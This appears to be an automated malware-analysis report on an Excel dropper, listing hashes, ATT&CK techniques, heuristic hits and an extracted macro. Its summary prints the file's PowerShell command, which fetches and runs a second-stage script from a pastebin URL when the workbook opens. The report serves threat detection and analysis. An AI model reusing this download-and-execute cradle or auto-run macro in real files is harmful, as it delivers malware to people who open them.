Office (OLE) / .XLS malware analysis — malicious · 3148ce74504bc0a2

MALICIOUS

Office (OLE) / .XLS

33.5 KB Created: 2019-11-04 20:04:32 Authoring application: Microsoft Excel

MD5: 7a411158159d6887a34b7fffa48f3a08 SHA-1: 314ec8c6f1ba98b0d86519f0a47d63187f9f6637 SHA-256: 3148ce74504bc0a20470111003023070fa6ebbfeca3ceaad516b2ba4b77b3b10

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The file is an Excel spreadsheet containing a Workbook_Open macro that executes a PowerShell command. This command downloads content from the URL 'https://pastebin.com/raw/jvuJzEMM' and executes it. The extracted PowerShell command is 'rshell.exe -Command IEX (New-Object ('Net.WebClient')).'DownloadString'('https://pastebin.com/raw/jvuJzEMM')'. This indicates the macro's intent is to download and execute a second-stage payload.

Heuristics 7

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
ClamAV: Xls.Dropper.Agent-7722832-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.Agent-7722832-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://pastebin.com/raw/jvuJzEMM

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `a34827033c30fd274cb9d5a8532e01a17395700f4eb1d26fb3167dc7d6cd805b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	945 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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